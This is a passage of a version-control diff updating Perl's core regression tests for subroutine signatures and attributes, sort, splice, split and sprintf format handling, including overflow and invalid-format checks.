+syntax error at foo line 8, near "($a 123"
+EOF
 
 eval "#line 8 foo\nsub t097 (\$a { }) { }";
-is $@, <<EOF;
-syntax error at foo line 8, near "\$a { "
+is $@, <<'EOF';
+Illegal operator following parameter in a subroutine signature at foo line 8, near "($a { }"
+syntax error at foo line 8, near "($a { }"
 EOF
 
 eval "#line 8 foo\nsub t098 (\$a; \$b) { }";
-is $@, <<EOF;
-syntax error at foo line 8, at EOF
-syntax error at foo line 8, near "\$b) "
+is $@, <<'EOF';
+Illegal operator following parameter in a subroutine signature at foo line 8, near "($a; "
+syntax error at foo line 8, near "($a; "
 EOF
 
 eval "#line 8 foo\nsub t099 (\$\$) { }";
@@ -1132,7 +1143,7 @@
 like $@, qr/\AToo many arguments for subroutine 'main::__ANON__' at \(eval \d+\) line 1\.\n\z/;
 is $a, 123;
 
-my $t118 = sub ($a) :prototype($) { $a || "z" };
+my $t118 = sub :prototype($) ($a) { $a || "z" };
 is prototype($t118), "\$";
 is eval("\$t118->()"), undef;
 like $@, qr/\AToo few arguments for subroutine 'main::__ANON__' at \(eval \d+\) line 1\.\n\z/;
@@ -1198,7 +1209,7 @@
 like $@, qr/\AToo many arguments for subroutine 'main::t132' at \(eval \d+\) line 1\.\n\z/;
 is $a, 123;
 
-sub t104($a) :method { $a || "z" }
+sub t104 :method ($a) { $a || "z" }
 is prototype(\&t104), undef;
 is eval("t104()"), undef;
 like $@, qr/\AToo few arguments for subroutine 'main::t104' at \(eval \d+\) line 1\.\n\z/;
@@ -1210,7 +1221,7 @@
 like $@, qr/\AToo many arguments for subroutine 'main::t104' at \(eval \d+\) line 1\.\n\z/;
 is $a, 123;
 
-sub t105($a) :prototype($) { $a || "z" }
+sub t105 :prototype($) ($a) { $a || "z" }
 is prototype(\&t105), "\$";
 is eval("t105()"), undef;
 like $@, qr/\ANot enough arguments for main::t105 /;
@@ -1222,7 +1233,7 @@
 like $@, qr/\AToo many arguments for main::t105 at \(eval \d+\) line 1, near/;
 is $a, 123;
 
-sub t106($a) :prototype(@) { $a || "z" }
+sub t106 :prototype(@) ($a) { $a || "z" }
 is prototype(\&t106), "\@";
 is eval("t106()"), undef;
 like $@, qr/\AToo few arguments for subroutine 'main::t106' at \(eval \d+\) line 1\.\n\z/;
@@ -1234,10 +1245,10 @@
 like $@, qr/\AToo many arguments for subroutine 'main::t106' at \(eval \d+\) line 1\.\n\z/;
 is $a, 123;
 
-eval "#line 8 foo\nsub t107 :method (\$a) { }";
+eval "#line 8 foo\nsub t107(\$a) :method { }";
 isnt $@, "";
 
-eval "#line 8 foo\nsub t108 :prototype(\$) (\$a) { }";
+eval "#line 8 foo\nsub t108 (\$a) :prototype(\$) { }";
 isnt $@, "";
 
 sub t109 { }
@@ -1510,6 +1521,38 @@
     }
 }
 
+# RT #132141
+# Attributes such as lvalue have to come *before* the signature to
+# ensure that they're applied to any code block within the signature
+
+{
+    my $x;
+    sub f :lvalue ($a = do { $x = "abc"; return substr($x,0,1)}) {
+        die; # notreached
+    }
+
+    f() = "X";
+    is $x, "Xbc", "RT #132141";
+}
+
+# RT #132760
+# attributes have been moved back before signatures for 5.28. Ensure that
+# code doing it the old wrong way get a meaningful error message.
+
+{
+    my @errs;
+    local $SIG{__WARN__} = sub { push @errs, @_};
+    eval q{
+        sub rt132760 ($a, $b) :prototype($$) { $a + $b }
+    };
+
+    @errs = split /\n/, $@;
+    is + at errs, 1, "RT 132760 expect 1 error";
+    like $errs[0],
+        qr/^Subroutine attributes must come before the signature at/,
+        "RT 132760 err 0";
+}
+
 done_testing;
 
 1;

Modified: vendor/perl/dist/t/op/smartkve.t
===================================================================
--- vendor/perl/dist/t/op/smartkve.t	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/t/op/smartkve.t	2018-12-22 22:55:19 UTC (rev 12126)
@@ -8,7 +8,7 @@
 use strict;
 use warnings;
 no warnings 'experimental::refaliasing';
-use vars qw($data $array $values $hash $errpat);
+our ($data, $array, $values, $hash, $errpat);
 
 plan 'no_plan';
 

Modified: vendor/perl/dist/t/op/sort.t
===================================================================
--- vendor/perl/dist/t/op/sort.t	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/t/op/sort.t	2018-12-22 22:55:19 UTC (rev 12126)
@@ -7,7 +7,7 @@
     set_up_inc('../lib');
 }
 use warnings;
-plan(tests => 197);
+plan(tests => 199);
 
 # these shouldn't hang
 {
@@ -1160,3 +1160,26 @@
     my @out = sort { $a <=> $b } @in;
     is($out[1], "20000000000000000", "check sort order");
 }
+
+# [perl #92264] refcounting of GvSV slot of *a and *b
+{
+    my $act;
+    package ReportDestruction {
+	sub new { bless({ p => $_[1] }, $_[0]) }
+	sub DESTROY { $act .= $_[0]->{p}; }
+    }
+    $act = "";
+    my $filla = \(ReportDestruction->new("[filla]"));
+    () = sort { my $r = $a cmp $b; $act .= "0"; *a = \$$filla; $act .= "1"; $r }
+	    ReportDestruction->new("[sorta]"), "foo";
+    $act .= "2";
+    $filla = undef;
+    is $act, "01[sorta]2[filla]";
+    $act = "";
+    my $fillb = \(ReportDestruction->new("[fillb]"));
+    () = sort { my $r = $a cmp $b; $act .= "0"; *b = \$$fillb; $act .= "1"; $r }
+	    "foo", ReportDestruction->new("[sortb]");
+    $act .= "2";
+    $fillb = undef;
+    is $act, "01[sortb]2[fillb]";
+}

Modified: vendor/perl/dist/t/op/splice.t
===================================================================
--- vendor/perl/dist/t/op/splice.t	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/t/op/splice.t	2018-12-22 22:55:19 UTC (rev 12126)
@@ -98,4 +98,14 @@
 is sprintf("%s", splice @a, 0, 1, undef), "",
   'splice handles nonexistent elems when array len stays the same';
 
+# RT#131000
+{
+    local $@;
+    my @readonly_array = 10..11;
+    Internals::SvREADONLY(@readonly_array, 1);
+    eval { splice @readonly_array, 1, 0, () };
+    like $@, qr/^Modification of a read-only value/,
+        "croak when splicing into readonly array";
+}
+
 done_testing;

Modified: vendor/perl/dist/t/op/split.t
===================================================================
--- vendor/perl/dist/t/op/split.t	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/t/op/split.t	2018-12-22 22:55:19 UTC (rev 12126)
@@ -7,7 +7,7 @@
     set_up_inc('../lib');
 }
 
-plan tests => 163;
+plan tests => 176;
 
 $FS = ':';
 
@@ -244,7 +244,7 @@
 }
 
 {
-    # bug id 20000427.003 (#3173) 
+    # bug id 20000427.003 (#3173)
 
     use warnings;
     use strict;
@@ -480,6 +480,24 @@
         qq{split(\$cond ? qr/ / : " ", "$exp") behaves as expected over repeated similar patterns};
 }
 
+SKIP: {
+    # RT #130907: unicode_strings feature doesn't work with split ' '
+
+    my ($sp) = grep /\s/u, map chr, reverse 128 .. 255 # prefer \xA0 over \x85
+        or skip 'no unicode whitespace found in high-8-bit range', 9;
+
+    for (["$sp$sp. /", "leading unicode whitespace"],
+         [".$sp$sp/",  "unicode whitespace separator"],
+         [". /$sp$sp", "trailing unicode whitespace"]) {
+        my ($str, $desc) = @$_;
+        use feature "unicode_strings";
+        my @got = split " ", $str;
+        is @got, 2, "whitespace split: $desc: field count";
+        is $got[0], '.', "whitespace split: $desc: field 0";
+        is $got[1], '/', "whitespace split: $desc: field 1";
+    }
+}
+
 {
     # 'RT #116086: split "\x20" does not work as documented';
     my @results;
@@ -633,3 +651,19 @@
 fresh_perl_is(<<'CODE', '', {}, "scalar split stack overflow");
 map{int"";split//.0>60for"0000000000000000"}split// for"00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000"
 CODE
+
+# RT #132334: /o modifier no longer has side effects on split
+{
+    my @records = (
+        { separator => '0', effective => '',  text => 'ab' },
+        { separator => ';', effective => ';', text => 'a;b' },
+    );
+
+    for (@records) {
+        my ($separator, $effective, $text) = @$_{qw(separator effective text)};
+        $separator =~ s/0//o;
+        is($separator,$effective,"Going to split '$text' with '$separator'");
+        my @result = split($separator,$text);
+        ok(eq_array(\@result,['a','b']), "Resulting in ('a','b')");
+    }
+}

Modified: vendor/perl/dist/t/op/sprintf.t
===================================================================
--- vendor/perl/dist/t/op/sprintf.t	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/t/op/sprintf.t	2018-12-22 22:55:19 UTC (rev 12126)
@@ -208,14 +208,14 @@
 
 # template    data          result
 __END__
->%6. 6s<    >''<          >%6. 6s INVALID REDUNDANT< >(See use of $w in code above)<
->%6 .6s<    >''<          >%6 .6s INVALID REDUNDANT<
->%6.6 s<    >''<          >%6.6 s INVALID REDUNDANT<
+>%6. 6s<    >''<          >%6. 6s INVALID< >(See use of $w in code above)<
+>%6 .6s<    >''<          >%6 .6s INVALID<
+>%6.6 s<    >''<          >%6.6 s INVALID<
 >%A<        >0<           ><	 >%A tested in sprintf2.t skip: all<
 >%B<        >2**32-1<     >11111111111111111111111111111111<
 >%+B<       >2**32-1<     >11111111111111111111111111111111<
 >%#B<       >2**32-1<     >0B11111111111111111111111111111111<
->%C<        >''<          >%C INVALID REDUNDANT<
+>%C<        >''<          >%C INVALID<
 >%D<        >0x7fffffff<  >2147483647<     >Synonym for %ld<
 >%E<        >123456.789<  >1.234568E+05<   >Like %e, but using upper-case "E"<
 >%F<        >123456.789<  >123456.789000<  >Synonym for %f<
@@ -225,26 +225,26 @@
 >%G<        >12345.6789<  >12345.7<
 >%G<        >1234567e96<  >1.23457E+102<	>exponent too big skip: os390<
 >%G<        >.1234567e-101< >1.23457E-102<	>exponent too small skip: os390<
->%H<        >''<          >%H INVALID REDUNDANT<
->%I<        >''<          >%I INVALID REDUNDANT<
->%J<        >''<          >%J INVALID REDUNDANT<
->%K<        >''<          >%K INVALID REDUNDANT<
->%L<        >''<          >%L INVALID REDUNDANT<
->%M<        >''<          >%M INVALID REDUNDANT<
->%N<        >''<          >%N INVALID REDUNDANT<
+>%H<        >''<          >%H INVALID<
+>%I<        >''<          >%I INVALID<
+>%J<        >''<          >%J INVALID<
+>%K<        >''<          >%K INVALID<
+>%L<        >''<          >%L INVALID<
+>%M<        >''<          >%M INVALID<
+>%N<        >''<          >%N INVALID<
 >%O<        >2**32-1<     >37777777777<    >Synonym for %lo<
->%P<        >''<          >%P INVALID REDUNDANT<
->%Q<        >''<          >%Q INVALID REDUNDANT<
->%R<        >''<          >%R INVALID REDUNDANT<
->%S<        >''<          >%S INVALID REDUNDANT<
->%T<        >''<          >%T INVALID REDUNDANT<
+>%P<        >''<          >%P INVALID<
+>%Q<        >''<          >%Q INVALID<
+>%R<        >''<          >%R INVALID<
+>%S<        >''<          >%S INVALID<
+>%T<        >''<          >%T INVALID<
 >%U<        >2**32-1<     >4294967295<     >Synonym for %lu<
->%V<        >''<          >%V INVALID REDUNDANT<
->%W<        >''<          >%W INVALID REDUNDANT<
+>%V<        >''<          >%V INVALID<
+>%W<        >''<          >%W INVALID<
 >%X<        >2**32-1<     >FFFFFFFF<       >Like %x, but with u/c letters<
 >%#X<       >2**32-1<     >0XFFFFFFFF<
->%Y<        >''<          >%Y INVALID REDUNDANT<
->%Z<        >''<          >%Z INVALID REDUNDANT<
+>%Y<        >''<          >%Y INVALID<
+>%Z<        >''<          >%Z INVALID<
 >%a<        >0<           ><	 >%a tested in sprintf2.t skip: all<
 >%b<        >2**32-1<     >11111111111111111111111111111111<
 >%+b<       >2**32-1<     >11111111111111111111111111111111<
@@ -427,14 +427,14 @@
 >%.0f<      >0<           >0<
 >%.0f<      >2**38<       >274877906944<   >Should have exact int'l rep'n<
 >%.0f<      >0.1<         >0<
->%.0f<      >0.6<         >1<              >Known to fail with (irix|nonstop-ux|powerux); -DHAS_LDBL_SPRINTF_BUG may fix<
->%.0f<      >-0.6<        >-1<             >Known to fail with (irix|nonstop-ux|powerux); -DHAS_LDBL_SPRINTF_BUG may fix<
+>%.0f<      >0.6<         >1<              >Known to fail with (irix|nonstop-ux); -DHAS_LDBL_SPRINTF_BUG may fix<
+>%.0f<      >-0.6<        >-1<             >Known to fail with (irix|nonstop-ux); -DHAS_LDBL_SPRINTF_BUG may fix<
 >%.0f<      >1.6<         >2<
 >%.0f<      >-1.6<        >-2<
 >%.0f<      >1<           >1<
 >%#.0f<     >1<           >1.<
 >%.0lf<     >1<           >1<              >'l' should have no effect<
->%.0hf<     >1<           >%.0hf INVALID REDUNDANT<  >'h' should be rejected<
+>%.0hf<     >1<           >%.0hf INVALID<  >'h' should be rejected<
 >%g<        >12345.6789<  >12345.7<
 >%+g<       >12345.6789<  >+12345.7<
 >%#g<       >12345.6789<  >12345.7<
@@ -472,12 +472,12 @@
 >%-13g<     >1234567.89<  >1.23457e+06  <
 >%g<        >.1234567E-101< >1.23457e-102<	>exponent too small skip: os390<
 >%g<        >1234567E96<  >1.23457e+102<	>exponent too big skip: os390<
->%h<        >''<          >%h INVALID REDUNDANT<
+>%h<        >''<          >%h INVALID<
 >%i<        >123456.789<  >123456<         >Synonym for %d<
->%j<        >''<          >%j INVALID REDUNDANT<
->%k<        >''<          >%k INVALID REDUNDANT<
->%l<        >''<          >%l INVALID REDUNDANT<
->%m<        >''<          >%m INVALID REDUNDANT<
+>%j<        >''<          >%j INVALID<
+>%k<        >''<          >%k INVALID<
+>%l<        >''<          >%l INVALID<
+>%m<        >''<          >%m INVALID<
 >%s< >sprintf('%%n%n %d', $n, $n)< >%n 2< >Slight sneakiness to test %n<
 >%s< >$n="abc"; sprintf(' %n%s', substr($n,1,1), $n)< > a1c< >%n w/magic<
 >%s< >no warnings; sprintf('%s%n', chr(256)x5, $n),$n< >5< >Unicode %n<
@@ -548,9 +548,9 @@
 >%#06.4o<   >18<          >  0022<        >0 flag with precision: no effect<
 >%d< >$p=sprintf('%p',$p);$p=~/^[0-9a-f]+$/< >1< >Coarse hack: hex from %p?<
 >%d< >$p=sprintf('%-8p',$p);$p=~/^[0-9a-f]+\s*$/< >1< >Coarse hack: hex from %p?<
->%#p<       >''<          >%#p INVALID REDUNDANT<
->%q<        >''<          >%q INVALID REDUNDANT<
->%r<        >''<          >%r INVALID REDUNDANT<
+>%#p<       >''<          >%#p INVALID<
+>%q<        >''<          >%q INVALID<
+>%r<        >''<          >%r INVALID<
 >%s<        >[]<          > MISSING<
 > %s<       >[]<          >  MISSING<
 >%s<        >'string'<    >string<
@@ -572,7 +572,7 @@
 >%3.*s<     >[1, 'string']< >  s<
 >%3.*s<     >[0, 'string']< >   <
 >%3.*s<     >[-1,'string']< >string<  >negative precision to be ignored<
->%t<        >''<          >%t INVALID REDUNDANT<
+>%t<        >''<          >%t INVALID<
 >%u<        >2**32-1<     >4294967295<
 >%+u<       >2**32-1<     >4294967295<
 >%#u<       >2**32-1<     >4294967295<
@@ -587,8 +587,8 @@
 >% 4.3u<    >18<          > 018<
 >%04.3u<    >18<          > 018<         >0 flag with precision: no effect<
 >%.3u<      >18<          >018<
->%v<        >''<          >%v INVALID REDUNDANT<
->%w<        >''<          >%w INVALID REDUNDANT<
+>%v<        >''<          >%v INVALID<
+>%w<        >''<          >%w INVALID<
 >%x<        >2**32-1<     >ffffffff<
 >%+x<       >2**32-1<     >ffffffff<
 >%#x<       >2**32-1<     >0xffffffff<
@@ -670,8 +670,8 @@
 >%#+.*x<    >[-1,0]<      >0<
 >%# .*x<    >[-1,0]<      >0<
 >%#0.*x<    >[-1,0]<      >0<
->%y<        >''<          >%y INVALID REDUNDANT<
->%z<        >''<          >%z INVALID REDUNDANT<
+>%y<        >''<          >%y INVALID<
+>%z<        >''<          >%z INVALID<
 >%2$d %1$d<	>[12, 34]<	>34 12<
 >%*2$d<		>[12, 3]<	> 12<             >RT#125469<
 >%*3$d<		>[12, 9, 3]<	> 12<             >related to RT#125469<
@@ -679,29 +679,29 @@
 >%2$d %d %d<	>[12, 34]<	>34 12 34<
 >%3$d %d %d<	>[12, 34, 56]<	>56 12 34<
 >%2$*3$d %d<	>[12, 34, 3]<	> 34 12<
->%*3$2$d %d<	>[12, 34, 3]<	>%*3$2$d 12 INVALID REDUNDANT<
+>%*3$2$d %d<	>[12, 34, 3]<	>%*3$2$d 12 INVALID<
 >%2$d<		>12<	>0 MISSING<
->%0$d<		>12<	>%0$d INVALID REDUNDANT<
->%1$$d<		>12<	>%1$$d INVALID REDUNDANT<
->%1$1$d<	>12<	>%1$1$d INVALID REDUNDANT<
->%*2$*2$d<	>[12, 3]<	>%*2$*2$d INVALID REDUNDANT<
->%*2*2$d<	>[12, 3]<	>%*2*2$d INVALID REDUNDANT<
->%*2$1d<	>[12, 3]<	>%*2$1d INVALID REDUNDANT<
+>%0$d<		>12<	>%0$d INVALID<
+>%1$$d<		>12<	>%1$$d INVALID<
+>%1$1$d<	>12<	>%1$1$d INVALID<
+>%*2$*2$d<	>[12, 3]<	>%*2$*2$d INVALID<
+>%*2*2$d<	>[12, 3]<	>%*2*2$d INVALID<
+>%*2$1d<	>[12, 3]<	>%*2$1d INVALID<
 >%0v2.2d<	>''<	><
->%vc,%d<	>[63, 64, 65]<	>%vc,63 INVALID REDUNDANT<
->%v%,%d<	>[63, 64, 65]<	>%v%,63 INVALID REDUNDANT<
+>%vc,%d<	>[63, 64, 65]<	>%vc,63 INVALID<
+>%v%,%d<	>[63, 64, 65]<	>%v%,63 INVALID INVALID<
 >%vd,%d<	>["\x1", 2, 3]<	>1,2 REDUNDANT<
->%vf,%d<	>[1, 2, 3]<	>%vf,1 INVALID REDUNDANT<
->%vF,%d<	>[1, 2, 3]<	>%vF,1 INVALID REDUNDANT<
->%ve,%d<	>[1, 2, 3]<	>%ve,1 INVALID REDUNDANT<
->%vE,%d<	>[1, 2, 3]<	>%vE,1 INVALID REDUNDANT<
->%vg,%d<	>[1, 2, 3]<	>%vg,1 INVALID REDUNDANT<
->%vG,%d<	>[1, 2, 3]<	>%vG,1 INVALID REDUNDANT<
->%vp<	>''<	>%vp INVALID REDUNDANT<
->%vn<	>''<	>%vn INVALID REDUNDANT<
->%vs,%d<	>[1, 2, 3]<	>%vs,1 INVALID REDUNDANT<
->%v_<	>''<	>%v_ INVALID REDUNDANT<
->%v#x<	>''<	>%v#x INVALID REDUNDANT<
+>%vf,%d<	>[1, 2, 3]<	>%vf,1 INVALID<
+>%vF,%d<	>[1, 2, 3]<	>%vF,1 INVALID<
+>%ve,%d<	>[1, 2, 3]<	>%ve,1 INVALID<
+>%vE,%d<	>[1, 2, 3]<	>%vE,1 INVALID<
+>%vg,%d<	>[1, 2, 3]<	>%vg,1 INVALID<
+>%vG,%d<	>[1, 2, 3]<	>%vG,1 INVALID<
+>%vp<	>''<	>%vp INVALID<
+>%vn<	>''<	>%vn INVALID<
+>%vs,%d<	>[1, 2, 3]<	>%vs,1 INVALID<
+>%v_<	>''<	>%v_ INVALID<
+>%v#x<	>''<	>%v#x INVALID<
 >%v02x<	>"\x66\x6f\x6f\012"<	>66.6f.6f.0a<
 >%#v.8b<	>"\141\000\142"<	>0b01100001.00000000.0b01100010<	>perl #39530<
 >%#v.0o<	>"\001\000\002\000"<    >01.0.02.0<
@@ -739,15 +739,15 @@
 >%#v.2X<	>"\141\x{1e01}\017\142\x{1e03}"<	>0X61.0X1E01.0X0F.0X62.0X1E03<	>perl #39530<
 >%V-%s<		>["Hello"]<	>%V-Hello INVALID<
 >%K %d %d<	>[13, 29]<	>%K 13 29 INVALID<
->%*.*K %d<	>[13, 29, 76]<	>%*.*K 13 INVALID REDUNDANT<
->%4$K %d<	>[45, 67]<	>%4$K 45 INVALID REDUNDANT<
+>%*.*K %d<	>[13, 29, 76]<	>%*.*K 13 INVALID<
+>%4$K %d<	>[45, 67]<	>%4$K 45 INVALID<
 >%d %K %d<	>[23, 45]<	>23 %K 45 INVALID<
->%*v*999\$d %d %d<	>[11, 22, 33]<	>%*v*999\$d 11 22 INVALID REDUNDANT<
+>%*v*999\$d %d %d<	>[11, 22, 33]<	>%*v*999\$d 11 22 INVALID<
 >%#b<		>0<	>0<
 >%#o<		>0<	>0<
 >%#x<		>0<	>0<
->%2147483647$v2d<	>''<	><
->%*2147483647$v2d<	>''<	> MISSING<
+>%1073741819$v2d<	>''<	> MISSING<
+>%*1073741819$v2d<	>''<	> MISSING<
 >%.3X<		>[11]<			>00B<		>perl #83194: hex, zero-padded to 3 places<
 >%.*X<		>[3, 11]<		>00B<		>perl #83194: dynamic precision<
 a>%vX<		>['012']<		>30.31.32<	>perl #83194: vector flag<
@@ -765,3 +765,12 @@
 a>%vd<	>"version"<	>118.101.114.115.105.111.110<	>perl #102586: vector flag + "version"<
 e>%vd<   >"version"<    >165.133.153.162.137.150.149<   >perl #102586: vector flag + "version"<
 >%3$*4$v*2$.*1$x<  >[3, 4, "\x11\x22\x33", "/"]< > 011/ 022/ 033< >four reordered args<
+>%*%<	>[]<	>% MISSING<
+>%*1$%<	>[]<	>% MISSING<
+>%*2$d<	>123<	>123 MISSING<
+>%2$vd<>123<	> MISSING<
+>%.f<   >123.432<   >123<   >by tradition, empty precision == 0 <
+>%.001f<   >123.432<   >123.4<   >by tradition, leading zeroes ignored in precison<
+>%.0f<   >[1.2, 3.4]<   >1 REDUNDANT<   >special-cased "%.0f" should check count<
+>%.0f<   >[]<   >0 MISSING<   >special-cased "%.0f" should check count<
+>%53.0f<   >69.0<   >                                                   69<   >#131659<

Modified: vendor/perl/dist/t/op/sprintf2.t
===================================================================
--- vendor/perl/dist/t/op/sprintf2.t	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/t/op/sprintf2.t	2018-12-22 22:55:19 UTC (rev 12126)
@@ -5,6 +5,7 @@
 BEGIN {
     chdir 't' if -d 't';
     require './test.pl';
+    require './charset_tools.pl';
     set_up_inc('../lib');
 }   
 
@@ -295,14 +296,6 @@
        "width & precision interplay with utf8 strings, length=$i");
 }
 
-# Used to mangle PL_sv_undef
-fresh_perl_like(
-    'print sprintf "xxx%n\n"; print undef',
-    qr/Modification of a read-only value attempted at\b/,
-    { switches => [ '-w' ] },
-    q(%n should not be able to modify read-only constants),
-);
-
 # check overflows
 for (int(~0/2+1), ~0, "9999999999999999999") {
     is(eval {sprintf "%${_}d", 0}, undef, "no sprintf result expected %${_}d");
@@ -323,10 +316,16 @@
 	}
     };
 
-    my $fmt = join('', map("%$_\$s%" . ((1 << 31)-$_) . '$s', 1..20));
-    my $result = sprintf $fmt, qw(a b c d);
-    is($result, "abcd", "only four valid values in $fmt");
-    is($warn, 36, "expected warnings");
+    for my $i (1..20) {
+        my @args = qw(a b c d);
+        my $result = sprintf "%$i\$s", @args;
+        is $result, $args[$i-1]//"", "%NNN\$s where NNN=$i";
+        my $j = ~$i;
+        $result = eval { sprintf "%$j\$s", @args; };
+        like $@, qr/Integer overflow/ , "%NNN\$s where NNN=~$i";
+    }
+
+    is($warn, 16, "expected warnings");
     is($bad,   0, "unexpected warnings");
 }
 
@@ -470,7 +469,9 @@
     foreach my $ord (0 .. 255) {
 	my $bad = 0;
 	local $SIG{__WARN__} = sub {
-	    if ($_[0] !~ /^Invalid conversion in sprintf/) {
+	    if (  $_[0] !~ /^Invalid conversion in sprintf/
+               && $_[0] !~ /^Missing argument in sprintf/ )
+            {
 		warn $_[0];
 		$bad++;
 	    }
@@ -559,7 +560,6 @@
     } else {
       is($sprintf_got, $fmt, "quad unsupported: $fmt -> $fmt");
       like($w, qr/Invalid conversion in sprintf: "$fmt"/, "got warning about invalid conversion from fmt : $fmt");
-      like($w, qr/Redundant argument in sprintf/, "got warning about redundant argument in sprintf from fmt : $fmt");
     }
   }
 }
@@ -808,7 +808,17 @@
     for my $t (@subnormals) {
 	# Note that "0x1p+2" is not considered numeric,
 	# since neither is "0x12", hence the eval.
-        my $s = sprintf($t->[1], eval $t->[0]);
+        my $f = eval $t->[0];
+        # XXX under g++ -ansi, pow(2.0, -1074) returns 0 rather
+        # than the smallest denorm number. Which means that very small
+        # string literals on a perl compiled under g++ may be seen as 0.
+        # This is either a bug in the g++ math library or scan_num() in
+        # toke.c; but in either case, its not a bug in sprintf(), so
+        # skip the test.
+        local $::TODO = "denorm literals treated as zero"
+            if $f == 0.0 && $t->[2] ne '0x0p+0';
+
+        my $s = sprintf($t->[1], $f);
         is($s, $t->[2], "subnormal @$t got $s");
     }
 
@@ -914,4 +924,221 @@
     is(sprintf("%a", eval '0x1p-16494'), '0x1p-16494'); # underflow
 }
 
+# check all calls to croak_memory_wrap()
+# RT #131260
+# (these now fail earlier with "Integer overflow" rather than
+# "memory wrap" - DAPM)
+
+{
+    my $s = 8 * $Config{sizesize};
+    my $i = 1;
+    my $max;
+    while ($s--) { $max |= $i; $i <<= 1; }
+
+    my @tests = (
+                  # format, arg
+                  ["%.${max}a",        1.1 ],
+                  ["%.${max}i",          1 ],
+                  ["%.${max}i",         -1 ],
+    );
+
+    for my $test (@tests) {
+        my ($fmt, $arg) = @$test;
+        eval { my $s = sprintf $fmt, $arg; };
+        like("$@", qr/Integer overflow in format string/,
+                    qq{Integer overflow: "$fmt", "$arg"});
+    }
+}
+
+{
+    # handle utf8 correctly when skipping invalid format
+    my $w_red   = 0;
+    my $w_inv   = 0;
+    my $w_other = 0;
+    local $SIG{__WARN__} = sub {
+        if ($_[0] =~ /^Invalid conversion/) {
+            $w_inv++;
+        }
+        elsif ($_[0] =~ /^Redundant argument/) {
+            $w_red++;
+        }
+        else {
+            $w_other++;
+        }
+    };
+
+    use warnings;
+    my $cap_A_macron_utf8 = byte_utf8a_to_utf8n("\xc4\x80");
+    my $small_a_breve_utf8 = byte_utf8a_to_utf8n("\xc4\x83");
+    my $s = sprintf "%s%$cap_A_macron_utf8%s",
+                    "\x{102}",
+                    $small_a_breve_utf8;
+    is($s, "\x{102}%$cap_A_macron_utf8$small_a_breve_utf8",
+       "utf8 for invalid format");
+    is($w_inv,   1, "utf8 for invalid format: invalid warnings");
+    is($w_red,   0, "utf8 for invalid format: redundant warnings");
+    is($w_other, 0, "utf8 for invalid format: other warnings");
+}
+
+# it used to upgrade the result to utf8 if the 1st arg happened to be utf8
+
+{
+    my $precis = "9";
+    utf8::upgrade($precis);
+    my $s = sprintf "%.*f\n", $precis, 1.1;
+    ok(!utf8::is_utf8($s), "first arg not special utf8-wise");
+}
+
+# sprintf("%n") used to croak "Modification of a read-only value"
+# as it tried to set &PL_sv_no
+
+{
+    eval { my $s = sprintf("%n"); };
+    like $@, qr/Missing argument for %n in sprintf/, "%n";
+}
+
+# %p of an Inf or Nan address should still print its address, not
+# 'Inf' etc.
+
+like sprintf("%p", 0+'Inf'), qr/^[0-9a-f]+$/, "%p and Inf";
+like sprintf("%p", 0+'NaN'), qr/^[0-9a-f]+$/, "%p and NaN";
+
+# when the width or precision is specified by an argument, handle overflows
+# ditto for literal precisions.
+
+{
+    for my $i (
+               (~0     ) - 0, # UV_MAX
+               (~0     ) - 1,
+               (~0     ) - 2,
+
+               (~0 >> 1) + 2,
+               (~0 >> 1) + 1,
+               (~0 >> 1) - 0, # IV_MAX
+               (~0 >> 1) - 1,
+               (~0 >> 1) - 2,
+
+               (~0 >> 2) + 2,
+               (~0 >> 2) + 1,
+
+               -1 - (~0 >> 1),# -(IV_MAX+1)
+                0 - (~0 >> 1),
+                1 - (~0 >> 1),
+
+               -2 - (~0 >> 2),
+               -1 - (~0 >> 2),
+            )
+    {
+        my $hex = sprintf "0x%x", $i;
+        eval { my $s = sprintf '%*s', $i, "abc"; };
+        like $@, qr/Integer overflow/, "overflow: %*s $hex, $i";
+
+        eval { my $s = sprintf '%*2$s', "abc", $i; };
+        like $@, qr/Integer overflow/, 'overflow: %*2$s';
+
+        eval { my $s = sprintf '%.*s', $i, "abc"; };
+        like $@, qr/Integer overflow/, 'overflow: %.*s';
+
+        eval { my $s = sprintf '%.*2$s', "abc", $i; };
+        like $@, qr/Integer overflow/, 'overflow: %.*2$s';
+
+        next if $i < 0;
+
+        eval { my $s = sprintf "%.${i}f", 1.234 };
+        like $@, qr/Integer overflow/, 'overflow: %.NNNf';
+    }
+}
+
+# multiconcat: only one scalar assign at most should be optimised away
+
+{
+    local our $x1 = '';
+    local our $x2 = '';
+    my ($a, $b) = qw(abcd wxyz);
+    $x1 = ($x2 = sprintf("%s%s", $a, $b));
+    is $x1, "abcdwxyz", "\$x1 = \$x2 = sprintf(): x1";
+    is $x2, "abcdwxyz", "\$x1 = \$x2 = sprintf(): x2";
+
+    my $y1 = '';
+    my $y2 = '';
+    $y1 = ($y2 = sprintf("%s%s", $a, $b));
+    is $y1, "abcdwxyz", "\$y1 = \$y2 = sprintf(): y1";
+    is $y2, "abcdwxyz", "\$y1 = \$y2 = sprintf(): y2";
+}
+
+# multiconcat: mutator optimisation
+
+{
+    my $lex = 'abc';
+    my $a1 = 'pqr';
+    my $a2 = 'xyz';
+    $lex .= sprintf "(%s,%s)", $a1, $a2;
+    is $lex, "abc(pqr,xyz)", "\$lex .= sprintf ...";
+
+    local our $pkg = "def";
+    $pkg .= sprintf "(%s,%s)", $a1, $a2;
+    is $pkg, "def(pqr,xyz)", "\$pkg .= sprintf ...";
+
+    my @ary;
+    $ary[3] = "ghi";
+    $ary[3] .= sprintf "(%s,%s)", $a1, $a2;
+    is $ary[3], "ghi(pqr,xyz)", "\$ary[3] .= sprintf ...";
+}
+
+# multiconcat: strings with 0x80..0xff chars and/or utf8 chars
+
+{
+    my $plain  = "abc";
+    my $s80    = "d\x{80}e";
+    my $s81    = "h\x{81}i";
+    my $utf8   = "f\x{100}g";
+    my $res;
+
+    $res = sprintf "-%s-%s-\x{90}-%s-\x{91}-%s-\x{92}",
+                        $plain, $s80, $utf8, $s81;
+    is $res, "-abc-d\x{80}e-\x{90}-f\x{100}g-\x{91}-h\x{81}i-\x{92}",
+                "multiconcat 80.ff handling";
+
